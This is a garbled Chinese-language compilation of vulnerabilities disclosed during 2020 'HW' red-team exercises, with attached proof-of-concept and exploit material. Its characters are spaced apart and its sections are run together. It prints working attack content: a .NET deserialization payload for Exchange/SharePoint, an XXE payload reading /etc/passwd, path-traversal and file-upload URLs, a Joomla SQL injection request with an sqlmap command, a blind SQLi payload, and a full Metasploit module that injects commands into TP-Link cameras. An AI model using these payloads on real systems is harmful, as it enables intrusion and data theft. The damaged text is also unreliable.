[21251] 2020-09-28_2020HW期间公布漏洞总结(附部分漏洞Poc、Exp)

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2020-09-28_2020HW期间公布漏洞总结(附部分漏洞Poc、Exp) 2 0 2 0 H W P o c E x p L e m o n S e c   2 0 2 0 - 0 9 - 2 8 h w h w H W   0 9 / 2 3   H W H W   0 9 / 2 3   2 0 2 0 H W 2 0 2 0 H W H W   2 0 2 0 H W 线 h w c t f   w e b / m i s c 2 0 2 0 H W H W 使 使 H A C K 9 1 1 - 9 2 3 1 E D R 2 S S L   V P N   3 绿 U T S 4 A p a c h e   D o l p h i n S c h e d u l e r ( C V E - 2 0 2 0 - 1 1 9 7 4 ) 5 A p a c h e   C o c o o n   s e c u r i t y   v u l n e r a b i l i t y   ( C V E - 2 0 2 0 - 1 1 9 9 1 ) 6 T o p A p p - L B   S Q L 7 G R P - u 8   8 9 1 0 E X P 1 1 P A N - O S 1 2 N G F W 1 3 S G - 6 0 0 0 1 4 N a g i o s   1 5 W e b l o g i c 1 6 I E
1 7 V P N 1 8 N e t L o g o n   1 9 A 8 2 0 A 8 2 1 V P N   2 2 T R S W A S 5 . 0 2 3 W o r d p r e s s   F i l e - m a n a g e r 2 4 A p a c h e   D o l p h i n S c h e d u l e r ( C V E - 2 0 2 0 - 1 3 9 2 2 )   2 5 O A 2 6 M i c r o s o f t   E x c h a n g e 2 7 S p e c t r u m   P r o t e c t   P l u s 2 8   S S L   V P N   N d a y   -   P r e   A u t h   2 9   S S L   V P N   3 0 M c A f e e   W e b   G a t e w a y 3 1 Y i i 2 3 2   S Q L   S e r v e r   C V E - 2 0 2 0 - 0 6 1 8 3 3 S p r i n g R F D 3 4 V M w a r e   F u s i o n   C V E - 2 0 2 0 - 3 9 8 0 3 5 A r u b a   C l e a r p a s s C V E - 2 0 2 0 - 7 1 1 5 3 6 Y i i 2 3 7 A p a c h e   S u p e r s e t C V E - 2 0 2 0 - 1 3 9 4 8 3 8   F a s t a d m i n 3 9 W e b S p h e r e   A p p l i c a t i o n   S e r v e r   X X E   4 0 S e c 1 . V M w a r e   F u s i o n   c v e - 2 0 2 0 - 3 9 8 0 2 . A p a c h e   C o c o o n   s e c u r i t y   v u l n e r a b i l i t y   c v e - 2 0 2 0 - 1 1 9 9 1 3 . S p r i n g R F D 4 . C V E - 2 0 2 0 - 0 6 1 8 - S Q L S e r v e r 5 . C V E - 2 0 2 0 - 7 1 1 5 - A r u b a   C l e a r p a s s 6 . C V E - 2 0 2 0 - 1 5 1 4 8 - Y i i   2 7 . C V E - 2 0 2 0 - 1 3 9 4 8 - A p a c h e   S u p e r s e t   8 .   S S L   V P N   N d a y   -   P r e   A u t h   9 .   S S L   V P N   N d a y   -   P r e   A u t h   1 0 . C V E - 2 0 2 0 - 1 4 7 2 - N e t L o g o n 1 1 . C V E - 2 0 2 0 - 2 0 4 0 - P A N - O S 1 2 . T h i n k P H P 3 . x 1 3 . G R P - u 8   S Q L 1 4 . 1 5 . 1 6 .   P y t h o n 1 7 . G R P - u 8   1 8 . N a g i o s 1 9 . W e b l o g i c
2 0 . V P N 2 1 . 5 . 0 2 2 . w o r d p r e s s   F i l e - m a n a g e r 2 3 . T O P A p p - L B S Q L 2 4 . 绿 U T S 2 5 . E D R 3 . 2 . 2 1 2 6 . C V E - 2 0 2 0 - 1 1 9 7 4 - A p a c h e   D o l p h i n S c h e d u l e r 2 7 . C V E - 2 0 2 0 - 1 1 1 0 7 - X A M P P 2 8 . C V E - 2 0 2 0 - 1 6 8 7 5 - E x c h a n g e 2 9 . E D R   3 0 . C V E - 2 0 2 0 - 2 4 6 1 6 - J a c k s o n   3 1 . 8 8 8 p m a 访 3 2 .   E D R   3 3 . e - c o l o g y R C E 3 4 . C V E - 2 0 2 0 - 1 3 9 3 3 - A p a c h e   S h i r o   3 5 . O A 1 1 . 6 3 6 . E D R 3 7 . 3 8 . C V E - 2 0 2 0 - 1 1 9 9 5 - A p a c h e   D u b b o 3 9 . P H P C M S   v 9 R C E 4 0 . C V E - 2 0 1 9 - 0 2 3 0 - S t r u t s 2 4 1 . C V E - 2 0 2 0 - 1 3 6 9 9 - T e a m V i e w e r 4 2 . C V E - 2 0 2 0 - 1 3 9 2 1 - A p a c h e   S k y W a l k i n g   S Q L 4 3 . C V E - 2 0 2 0 - 1 3 9 2 5 - A p a c h e   K y l i n   4 4 . C V E - 2 0 2 0 - 1 3 5 0 - W i n d o w s   D N S   S e r v e r 4 5 . C V E - 2 0 2 0 - 1 4 6 4 5 - W e b l o g i c 4 6 . C V E - 2 0 2 0 - 8 1 9 4 - C i t r i x 4 7 . C V E - 2 0 2 0 - 1 0 9 7 7 - G i t l a b   C E / E E / R C E 4 8 . C V E - 2 0 2 0 - 8 1 9 3 - C i t r i x   A D C 4 9 . C V E - 2 0 2 0 - 5 9 0 2 - F 5   B I G - I P   T M U I   5 0 . C V E - 2 0 2 0 - 9 4 9 8 - A p a c h e   G u a c a m o l e   R D P   5 1 . C V E - 2 0 2 0 - 9 4 8 0 - A p a c h e   S p a r k 5 2 . C V E - 2 0 2 0 - 1 1 9 8 9 - A p a c h e   S h i r o 5 3 . C V E - 2 0 2 0 - 1 9 4 8 - A p a c h e   D u b b o 5 4 . C V E - 2 0 2 0 - 9 4 8 3 - A p a c h e   S k y W a l k i n g S Q L 5 5 . C V E - 2 0 2 0 - 4 4 5 0 - W e b S p h e r e 5 6 . N C 6 . 5 5 7 . C V E - 2 0 2 0 - 3 9 5 6 - V M w a r e   C l o u d   D i r e c t o r   5 8 . C V E - 2 0 2 0 - 5 4 1 0 - S p t i n g - C l o u d - C o n f i g - S e r v e r 5 9 . C V E - 2 0 2 0 - 1 9 5 6 - A p a c h e   K y l i n 6 0 . F a s t j s o n   < =   1 . 2 . 6 8   6 1 . C V E - 2 0 2 0 - 9 4 8 4 - A p a c h e   T o m c a t   s e s s i o n 6 2 . v B u l l e t i n   5 . 6 . 1   S Q L 6 3 . C V E - 2 0 2 0 - 1 1 6 5 1 - S a l t S t a c k / 6 4 . C V E - 2 0 2 0 - 1 1 6 5 2 - S a l t S t a c k 6 5 . O A 1 1 . 4
6 6 . C V E - 2 0 2 0 - 4 3 6 2 - W e b S p h e r e 6 7 . O A 1 1 . 5 S Q L 6 8 . C V E - 2 0 2 0 - 1 9 4 7 - S h a r d i n g S h p e r e 6 9 . O A S Q L 7 0 . C V E - 2 0 2 0 - 0 7 9 6   S M B V 3 7 1 . C V E - 2 0 2 0 - 0 6 8 8 - E x c h a n g e 7 2 . C V E - 2 0 2 0 - 1 9 3 8 - A p a c h e   T o m c a t 7 3 . C V E - 2 0 1 9 - 1 7 5 6 4 - A p a c h e   D u b b o 7 8 . C V E - 2 0 2 0 - 0 6 0 1 - 7 9 . T h i n k P H P 6   8 0 . C V E - 2 0 2 0 - 2 5 5 1 - W e b l o g i c 8 1 . C V E - 2 0 2 0 - 2 5 5 5 - W e b l o g i c 8 2 . C V E - 2 0 2 0 - 9 9 5 1   A p p l e   S a f a r i   8 3 . C V E - 2 0 2 0 - 9 9 9 2   A p p l e   X c o d e   8 4 . C i t r i x   S y s t e m s   8 5 . C V E - 2 0 2 0 - 8 2 4 5 8 6 . C V E - 2 0 2 0 - 8 2 4 6 8 7 . C V E - 2 0 2 0 - 8 2 4 7 8 8 . C V E - 2 0 2 0 - 1 1 8 6 1   K M 0 3 7 0 9 9 0 0   8 9 . C V E - 2 0 2 0 - 1 1 6 9 9   S p a m T i t a n   7 . 0 7   R C E 9 0 . C V E - 2 0 2 0 - 1 1 6 9 9 9 1 . C V E - 2 0 2 0 - 1 1 6 9 9 9 2 . C V E - 2 0 2 0 - 1 1 6 9 9 9 3 . C V E - 2 0 2 0 - 7 1 1 5   A r u b a   C l e a r p a s s   9 4 . C V E - 2 0 2 0 - 0 6 8 8   M i c r o s o f t   E x c h a n g e   S e r v e r 9 5 . C V E - 2 0 2 0 - 1 0 3 5   M i c r o s o f t   I n t e r n e t   E x p l o r e r   V B S c r i p t   E n g i n e   9 6 . C V E - 2 0 2 0 - 1 0 4 8   M i c r o s o f t   W i n d o w s   P r i n t   S p o o l e r   9 7 . C V E - 2 0 2 0 - 1 0 9 2   M i c r o s o f t   I n t e r n e t   E x p l o r e r   9 8 . C V E - 2 0 2 0 - 1 6 8 7 5   M i c r o s o f t   E x c h a n g e 9 9 . C V E - 2 0 2 0 - 8 0 2 8   S U S E 访 1 0 0 . C V E - 2 0 2 0 - 2 5 7 5 1   J o o m l a   p a G O   C o m m e r c e   2 . 5 . 9 . 0   S Q L   1 0 1 . C V E - 2 0 2 0 - 1 6 8 6 0   M i c r o s o f t   D y n a m i c s   3 6 5 1 0 2 . C V E - 2 0 2 0 - 1 5 9 2 0   M i d a   S o l u t i o n s   e F r a m e w o r k   a j a x r e q . p h p   1 0 3 . C V E - 2 0 2 0 - 1 2 1 0 9   T P - L i n k   N C X X X 1 0 4 . C V E - 2 0 2 0 - 5 4 2 1   S P R I N G   F R A M E W O R K 1 0 5 . C V E - 2 0 2 0 - 2 5 7 9 0   T y p e s e t t e r   C M S 1 0 6 . C V E - 2 0 2 0 - 4 6 4 3   I B M   W e b S p h e r e   X X E 1 0 7 . w e b T a r e a s 1 0 8 . C N N V D - 2 0 2 0 0 9 - 1 1 7 7 1 0 9 . C N N V D - 2 0 2 0 0 9 - 1 1 7 6 1 1 0 . C N N V D - 2 0 2 0 0 9 - 1 1 7 5 1 1 2 . C V E - 2 0 2 0 - 1 3 5 0   M i c r o s o f t   W i n d o w s   S e r v e r   D N S   S e r v e r   1 1 3 . P H P C M S   V 9   R C E 1 1 4 . Q E M U - K V M 1 1 5 . C o c h i p 线 1 1 6 . C V E - 2 0 2 0 - 4 4 5 0   W e b S p h e r e
1 1 7 . C V E - 2 0 2 0 - 1 3 9 3 3   A p a c h e   s h i r o I D L a b 0 1 . 0 2 . 访 访 0 3 . E x c h a n g e   S e r v e r   0 4 . S h a r e P o i n t 1 . 使 y s o s e r i a l p a y l o a d 2 . p a y l o a d p o c 3 . i i s c a l c . e x e p o x . x m l u r l h t t p : / / I P : 8 0 / u a i / n e w D e v R e g i s t / u p d a t e D e v U p l o a d i n f o . h t m 2 0 1 9 0 4 - 1 S P h t t p : / / I P : 8 0 / u a i / d o w n l o a d / u p l o a d f i l e T o P a t h . h t m h t t p : / / I P : 8 0 / u a i / n e w D e v R e g i s t / n e w D e v R e g i s t / n e w D e v R e g i s t / . . ; / . . ; / u p d a t e D e v U p l o a d i n f o . h t m 2 0 1 9 0 4 - 1 S P h t t p : / / I P : 8 0 / u a i / d o w n l o a d / d o w n l o a d / d o w n l o a d / . . ; / . . ; / u p l o a d f i l e T o P a t h . h t m   使 1 . 1 . 1 . 1 @ 1 2 7 . 0 . 0 . 1 : 8 8 6 0 p o n g b r E x c h a n g e E x c h a n g e P O C h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p y . t x t h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p s 1 . t x t b r < D a t a S e t >     < x s : s c h e m a   x m l n s = " "   x m l n s : x s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : m s d a t a = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - m s d a t a "   i d = " s o m e d a t a s e t " >         < x s : e l e m e n t   n a m e = " s o m e d a t a s e t "   m s d a t a : I s D a t a S e t = " t r u e "   m s d a t a : U s e C u r r e n t L o c a l e = " t r u e " >             < x s : c o m p l e x T y p e >                 < x s : c h o i c e   m i n O c c u r s = " 0 "   m a x O c c u r s = " u n b o u n d e d " >                     < x s : e l e m e n t   n a m e = " E x p _ x 0 0 2 0 _ T a b l e " >                         < x s : c o m p l e x T y p e >                            
0 5 . A p a c h e   C o c o o n   X M L a p a c h e C o c o o n 使 S t r e a m G e n e r a t o r , 0 6 . H o r d e   G r o u p w a r e   W e b m a i l   E d i t i o n   :   h t t p s : / / s r c i n c i t e . i o / p o c s / z d i - 2 0 - 1 0 5 1 . p y . t x t 0 7 . 1 , - > , 2 ,   / w x j s a p i / s a v e Y Z J F i l e ? f i l e N a m e = t e s t & d o w n l o a d U r l = f i l e : / / / D : / & f i l e E x t = t x t < x s : s e q u e n c e >                                 < x s : e l e m e n t   n a m e = " p w n "   m s d a t a : D a t a T y p e = " S y s t e m . D a t a . S e r v i c e s . I n t e r n a l . E x p a n d e d W r a p p e r ` 2 [ [ S y s t e m . W e b . U I . L o s F o r m a t t e r ,   S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a ] , [ S y s t e m . W i n d o w s . D a t a . O b j e c t D a t a P r o v i d e r ,   P r e s e n t a t i o n F r a m e w o r k ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 3 1 b f 3 8 5 6 a d 3 6 4 e 3 5 ] ] ,   S y s t e m . D a t a . S e r v i c e s ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 "   t y p e = " x s : a n y T y p e "   m i n O c c u r s = " 0 " / >                             < / x s : s e q u e n c e >                         < / x s : c o m p l e x T y p e >                     < / x s : e l e m e n t >                 < / x s : c h o i c e >             < / x s : c o m p l e x T y p e >         < / x s : e l e m e n t >     < / x s : s c h e m a >     < d i f f g r : d i f f g r a m   x m l n s : m s d a t a = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - m s d a t a "   x m l n s : d i f f g r = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - d i f f g r a m - v 1 " >         < s o m e d a t a s e t >             < E x p _ x 0 0 2 0 _ T a b l e   d i f f g r : i d = " E x p   T a b l e 1 "   m s d a t a : r o w O r d e r = " 0 "   d i f f g r : h a s C h a n g e s = " i n s e r t e d " >                 < p w n   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a " >                 < E x p a n d e d E l e m e n t / >                 < P r o j e c t e d P r o p e r t y 0 >                         < M e t h o d N a m e > D e s e r i a l i z e < / M e t h o d N a m e >                         < M e t h o d P a r a m e t e r s >                                 < a n y T y p e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x s i : t y p e = " x s d : s t r i n g " > p a y l o a d < / a n y T y p e >                         < / M e t h o d P a r a m e t e r s >                         < O b j e c t I n s t a n c e   x s i : t y p e = " L o s F o r m a t t e r " > < / O b j e c t I n s t a n c e >                 < / P r o j e c t e d P r o p e r t y 0 >                 < / p w n >             < / E x p _ x 0 0 2 0 _ T a b l e >         < / s o m e d a t a s e t >     < / d i f f g r : d i f f g r a m > < / D a t a S e t > < ! - - ? x m l   v e r s i o n = " 1 . 0 "   ? - - > < ! D O C T Y P E   r e p l a c e   [ < ! E N T I T Y   e n t   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >   ] > < u s e r I n f o > < f i r s t N a m e > J o h n < / f i r s t N a m e >   < l a s t N a m e > & e n t ; < / l a s t N a m e > < / u s e r I n f o > b r
3 + , , n g i n x 访 D 0 8 . W A F X F F I P I P X F F 访 I P 0 9 . T h i n k A d m i n   v 6   / h t t p s : / / g i t h u b . c o m / z o u j i n g l i / T h i n k A d m i n / i s s u e s / 2 4 4 d : / / e b r i d g e / / t o m c a t / / w e b a p p s / / R O O T / / W E B - I N F / / c l a s s e s / / i n i t . p r o p e r t i e s d : / O A / t o m c a t 8 / w e b a p p s / O A M S / W E B - I N F / c l a s s e s / d b c o n f i g . p r o p e r t i e s   O A b r e x p h t t p : / / t h i n k . a d m i n / T h i n k A d m i n / p u b l i c / a d m i n . h t m l ? s = a d m i n / a p i . U p d a t e / n o d e P O S T : r u l e s = [ " / " ] 使 . . / 穿 r u l e s = [ " . . / . . / . . / " ] b r c o n f i g p u b l i c / s t a t i c p u b l i c / r o u t e r . p h p p u b l i c / i n d e x . p h p a p p / a d m i n a p p / w e c h a t $ n a m e d a t a b a s e . p h p 1 . t x t p u b l i c / s t a t i c / . . / . . / 1 . t x t d a t a b a s e . p h p L i n u x W i n d o w s " . p u b l i c / s t a t i c / . . / . . / c o n f i g / d a t a b a s e " p h p e n c o d e ( ) 3 4 3 9 2 q 3 0 2 x 2 r 1 b 3 7 3 8 2 p 3 8 2 x 2 r 1 b 1 a 1 a 1 b 1 a 1 a 1 b 2 r 3 3 3 2 2 u 2 x 2 v 1 b 2 s 2 p 3 8 2 p 2 q 2 p 3 7 2
1 0 . J o o m l a !   p a G O   C o m m e r c e   2 . 5 . 9 . 0   S Q L   S q l m a p   p o c 1 1 . w a f X F F 1 2 7 . 0 . 0 . 1 w a f 1 2 . T y p e s e t t e r   C M S h t t p s : / / g i t h u b . c o m / T y p e s e t t e r / T y p e s e t t e r / i s s u e s / 6 7 4 1 3 . C L T P H P t 0 y 3 4 2 w 3 4 b r P O S T   / j o o m l a / a d m i n i s t r a t o r / i n d e x . p h p ? o p t i o n = c o m _ p a g o & v i e w = c o m m e n t s   H T T P / 1 . 1 H o s t :   l o c a l h o s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   t r - T R , t r ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 6 3 O r i g i n :   h t t p : / / l o c a l h o s t C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / l o c a l h o s t / j o o m l a / a d m i n i s t r a t o r / i n d e x . p h p ? o p t i o n = c o m _ p a g o & v i e w = c o m m e n t s C o o k i e :   4 b d e 1 1 3 d f c 9 b f 8 8 a 1 3 d e 3 b 5 b 9 e a b e 4 9 5 = s p 6 r p 5 m q n i h h 2 i 3 2 3 r 5 7 c v e s o e ;   c r i s p - c l i e n t % 2 F s e s s i o n % 2 F 0 a c 2 6 d b b - 4 c 2 f - 4 9 0 e - 8 8 b 2 - 7 2 9 2 8 3 4 a c 0 e 9 = s e s s i o n _ a 9 6 9 7 d d 7 - 1 5 2 d - 4 b 1 f - a 3 2 4 - 3 a d d 3 6 1 9 b 1 e 1 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 f i l t e r _ s e a r c h = & l i m i t = 1 0 & f i l t e r _ p u b l i s h e d = 1 & t a s k = & c o n t r o l l e r = c o m m e n t s & b o x c h e c k e d = 0 & f i l t e r _ o r d e r = i d & f i l t e r _ o r d e r _ D i r = d e s c & 5 a 6 7 2 a b 4 0 8 5 2 3 f 6 8 0 3 2 b 7 b d c d 7 d 4 b b 5 c = 1 b r s q l m a p   - r   p a g o   - - d b s   - - r i s k = 3   - - l e v e l = 5   - - r a n d o m - a g e n t   - p   f i l t e r _ p u b l i s h e d b r / a p p / a d m i n / c o n t r o l l e r / D a t a b a s e . p h p   2 2 1 - 2 4 8 P O S T :   s q l f i l e n a m e = . . . . 1 . t x t b r
s q l f i l e n a m e u n l i n k 1 4 . U s u a l T o o l C M S - 8 . 0   s q l p a y l o a d 1 5 . T P - L i n k N C X X X b r a _ t e m p l e t e x . p h p ? t = o p e n & i d = 1 & p a t h s = t e m p l e t e / i n d e x '   w h e r e   i d = 1   a n d   i f ( a s c i i ( s u b s t r i n g ( u s e r ( ) , 1 , 1 ) ) > 0 , s l e e p ( 5 ) , 1 ) - - + b r # # #   T h i s   m o d u l e   r e q u i r e s   M e t a s p l o i t :   h t t p s : / / m e t a s p l o i t . c o m / d o w n l o a d #   C u r r e n t   s o u r c e :   h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k # # c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : E x p l o i t : : R e m o t e   R a n k   =   E x c e l l e n t R a n k i n g   i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : H t t p C l i e n t   i n c l u d e   M s f : : E x p l o i t : : C m d S t a g e r   d e f   i n i t i a l i z e ( i n f o   =   { } )   s u p e r (   u p d a t e _ i n f o (   i n f o ,   ' N a m e '   = >   ' T P - L i n k   C l o u d   C a m e r a s   N C X X X   B o n j o u r   C o m m a n d   I n j e c t i o n ' ,   ' D e s c r i p t i o n '   = >   % q {   T P - L i n k   c l o u d   c a m e r a s   N C X X X   s e r i e s   ( N C 2 0 0 ,   N C 2 1 0 ,   N C 2 2 0 ,   N C 2 3 0 ,   N C 2 5 0 ,   N C 2 6 0 ,   N C 4 5 0 )   a r e   v u l n e r a b l e   t o   a n   a u t h e n t i c a t e d   c o m m a n d   i n j e c t i o n .   I n   a l l   d e v i c e s   e x c e p t   N C 2 1 0 ,   d e s p i t e   a   c h e c k   o n   t h e   n a m e   l e n g t h   i n   s w S y s t e m S e t P r o d u c t A l i a s C h e c k ,   n o   o t h e r   c h e c k s   a r e   i n   p l a c e   i n   o r d e r   t o   p r e v e n t   s h e l l   m e t a c h a r a c t e r s   f r o m   b e i n g   i n t r o d u c e d .   T h e   s y s t e m   n a m e   w o u l d   t h e n   b e   u s e d   i n   s w B o n j o u r S t a r t H T T P   a s   p a r t   o f   a   s h e l l   c o m m a n d   w h e r e   a r b i t r a r y   c o m m a n d s   c o u l d   b e   i n j e c t e d   a n d   e x e c u t e d   a s   r o o t .   N C 2 1 0   d e v i c e s   c a n n o t   b e   e x p l o i t e d   d i r e c t l y   v i a   / s e t s y s n a m e . c g i   d u e   t o   p r o p e r   i n p u t   v a l i d a t i o n .   N C 2 1 0   d e v i c e s   a r e   s t i l l   v u l n e r a b l e   s i n c e   s w B o n j o u r S t a r t H T T P   d i d   n o t   p e r f o r m   a n y   v a l i d a t i o n   w h e n   r e a d i n g   t h e   a l i a s   n a m e   f r o m   t h e   c o n f i g u r a t i o n   f i l e .   T h e   c o n f i g u r a t i o n   f i l e   c a n   b e   w r i t t e n ,   a n d   c o d e   e x e c u t i o n   c a n   b e   a c h i e v e d   b y   c o m b i n i n g   t h i s   i s s u e   w i t h   C V E - 2 0 2 0 - 1 2 1 1 0 .   } ,   ' A u t h o r '   = >   [ ' P i e t r o   O l i v a   < p i e t r o l i v a [ a t ] g m a i l . c o m > ' ] ,   ' L i c e n s e '   = >   M S F _ L I C E N S E ,   ' R e f e r e n c e s '   = >   [   [   ' U R L ' ,   ' h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 0 - 1 2 1 0 9 '   ] ,   [   ' U R L ' ,   ' h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 2 0 - 1 2 1 0 9 '   ] ,   [   ' U R L ' ,   ' h t t p s : / / s e c l i s t s . o r g / f u l l d i s c l o s u r e / 2 0 2 0 / M a y / 2 '   ] ,   [   ' C V E ' ,   ' 2 0 2 0 - 1 2 1 0 9 ' ]   ] ,   ' D i s c l o s u r e D a t e '   = >   ' 2 0 2 0 - 0 4 - 2 9 ' ,   ' P l a t f o r m '   = >   ' l i n u x ' ,   ' A r c h '   = >   A R C H _ M I P S L E ,   ' T a r g e t s '   = >   [   [   ' T P - L i n k   N C 2 0 0 ,   N C 2 2 0 ,   N C 2 3 0 ,   N C 2 5 0 ' ,   {   ' A r c h '   = >   A R C H _ M I P S L E ,   ' P l a t f o r m '   = >   ' l i n u x ' ,   ' C m d S t a g e r F l a v o r '   = >   [   ' w g e t '   ]   }   ] ,   [   ' T P - L i n k   N C 2 6 0 ,   N C 4 5 0 ' ,   {   ' A r c h '   = >   A R C H _ M I P S L E ,   ' P l a t f o r m '   = >   ' l i n u x ' ,   ' C m d S t a g e r F l a v o r '   = >   [   ' w g e t '   ] ,   ' D e f a u l t O p t i o n s '   = >   {   ' S S L '   = >   t r u e   }   }   ]   ] ,   ' D e f a u l t T a r g e t '   = >   0   )   )   r e g i s t e r _ o p t i o n s (   [   O p t S t r i n g . n e w ( ' U S E R N A M E ' ,   [   t r u e ,   ' T h e   w e b   i n t e r f a c e   u s e r n a m e ' ,   ' a d m i n '   ] ) ,   O p t S t r i n g . n e w ( ' P A S S W O R D ' ,   [   t r u e ,   ' T h e   w e b   i n t e r f a c e   p a s s w o r d   f o r   t h e   s p e c i f i e d   u s e r n a m e ' ,   ' a d m i n '   ] )   ]   )   e n d   d e f   l o g i n   u s e r   =   d a t a s t o r e [ ' U S E R N A M E ' ]   p a s s   =   B a s e 6 4 . s t r i c t _ e n c o d e 6 4 ( d a t a s t o r e [ ' P A S S W O R D ' ] )   i f   t a r g e t . n a m e   = =   ' T P - L i n k   N C 2 6 0 ,   N C 4 5 0 '   p a s s   =   R e x : : T e x t . m d 5 ( p a s s )   e n d   p r i n t _ s t a t u s ( " A u t h e n t i c a t i n g   w i t h   # { u s e r } : # { p a s s }   . . . " )   b e g i n   r e s   =   s e n d _ r e q u e s t _ c g i ( {   ' u r i '   = >   ' / l o g i n . f c g i ' ,   ' m e t h o d '   = >   ' P O S T ' ,   ' v a r s _ p o s t '   = >   {   ' U s e r n a m e '   = >   u s e r ,   ' P a s s w o r d '   = >   p a s s   }   } )  
1 6 . S p a m T i t a n   7 . 0 7 R C E i f   r e s . n i l ?   | |   r e s . c o d e   = =   4 0 4   f a i l _ w i t h ( F a i l u r e : : N o A c c e s s ,   ' / l o g i n . f c g i   d i d   n o t   r e p l y   c o r r e c t l y .   W r o n g   t a r g e t   i p ? ' )   e n d   i f   r e s . b o d y   = ~   / " e r r o r C o d e " : 0 /   & &   r e s . h e a d e r s . k e y ? ( ' S e t - C o o k i e ' )   & &   r e s . b o d y   = ~   / t o k e n /   p r i n t _ g o o d ( " L o g g e d - i n   a s   # { u s e r } " )   @ c o o k i e   =   r e s . g e t _ c o o k i e s . s c a n ( / s ? ( [ ^ ,   ; ] + ? ) = ( [ ^ ,   ; ] * ? ) [ ; , ] / ) [ 0 ] [ 1 ]   p r i n t _ g o o d ( " G o t   c o o k i e :   # { @ c o o k i e } " )   @ t o k e n   =   r e s . b o d y . s c a n ( / " ( t o k e n ) " : " ( [ ^ , " ] * ) " / ) [ 0 ] [ 1 ]   p r i n t _ g o o d ( " G o t   t o k e n :   # { @ t o k e n } " )   e l s e   f a i l _ w i t h ( F a i l u r e : : N o A c c e s s ,   " L o g i n   f a i l e d   w i t h   # { u s e r } : # { p a s s } " )   e n d   r e s c u e   : : R e x : : C o n n e c t i o n E r r o r   f a i l _ w i t h ( F a i l u r e : : U n r e a c h a b l e ,   ' C o n n e c t i o n   f a i l e d ' )   e n d   e n d   d e f   e n a b l e _ b o n j o u r   r e s   =   s e n d _ r e q u e s t _ c g i ( {   ' u r i '   = >   ' / s e t b o n j o u r s e t t i n g . f c g i ' ,   ' m e t h o d '   = >   ' P O S T ' ,   ' e n c o d e _ p a r a m s '   = >   f a l s e ,   ' c o o k i e '   = >   " s e s s = # { @ c o o k i e } " ,   ' v a r s _ p o s t '   = >   {   ' b o n j o u r S t a t e '   = >   ' 1 ' ,   ' t o k e n '   = >   @ t o k e n . t o _ s   }   } )   r e t u r n   r e s   r e s c u e   : : R e x : : C o n n e c t i o n E r r o r   v p r i n t _ e r r o r ( " F a i l e d   c o n n e c t i o n   t o   t h e   w e b   s e r v e r   a t   # { r h o s t } : # { r p o r t } " )   r e t u r n   n i l   e n d   d e f   s y s _ n a m e ( c m d )   r e s   =   s e n d _ r e q u e s t _ c g i ( {   ' u r i '   = >   ' / s e t s y s n a m e . f c g i ' ,   ' m e t h o d '   = >   ' P O S T ' ,   ' e n c o d e _ p a r a m s '   = >   t r u e ,   ' c o o k i e '   = >   " s e s s = # { @ c o o k i e } " ,   ' v a r s _ p o s t '   = >   {   ' s y s n a m e '   = >   c m d ,   ' t o k e n '   = >   @ t o k e n . t o _ s   }   } )   r e t u r n   r e s   r e s c u e   : : R e x : : C o n n e c t i o n E r r o r   v p r i n t _ e r r o r ( " F a i l e d   c o n n e c t i o n   t o   t h e   w e b   s e r v e r   a t   # { r h o s t } : # { r p o r t } " )   r e t u r n   n i l   e n d   d e f   e x e c u t e _ c o m m a n d ( c m d ,   _ o p t s   =   { } )   p r i n t _ s t a t u s ( " E x e c u t i n g   c o m m a n d :   # { c m d } " )   s y s _ n a m e ( " $ ( # { c m d } ) " )   e n d   d e f   e x p l o i t   l o g i n   #   G e t   c o o k i e   a n d   c s r f   t o k e n   e n a b l e _ b o n j o u r   #   E n a b l e   b o n j o u r   s e r v i c e   e x e c u t e _ c m d s t a g e r   #   U p l o a d   a n d   e x e c u t e   p a y l o a d   s y s _ n a m e ( ' N C 2 0 0 ' )   #   S e t   b a c k   a n   i n n o c e n t - l o o k i n g   d e v i c e   n a m e   e n d e n d b r I I I .   P o C ~ ~ ~ ~ ~ ~ ~ U s e   p y t h o n   3   a n d   i n s t a l l   t h e   f o l l o w i n g   m o d u l e s   b e f o r e   e x 